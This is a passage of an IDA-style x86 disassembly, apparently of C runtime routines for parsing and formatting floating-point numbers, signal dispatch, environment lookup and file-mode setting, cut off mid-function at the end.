--------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_4397B0 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov [ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_4397B0 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_4397B0 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_4397AC, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_4397B0 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_4397AC, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_4397AC, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_4397AC, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_4397AC, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_48A2F4 mov eax, offset dword_48A2F4 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_48A2F0 mov eax, offset dword_48A2F0 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_48A2F8 mov eax, offset dword_48A2F8 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_48A2EC mov eax, offset dword_48A2EC loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_48A0C8 and dword_48A0C8, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_43BC1C mov dword_43BC1C, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_43BC10 mov ecx, dword_43BC14 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43BBA0h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_43BC1C push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_48A0C8, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_43BC1C, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB9C, edx push esi mov eax, offset dword_43BB98 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_421D8B: ; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_48B690, 0 push ebx push esi mov esi, dword_48A03C push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_48A044, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_48A03C test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_48A014, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_48A014, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, 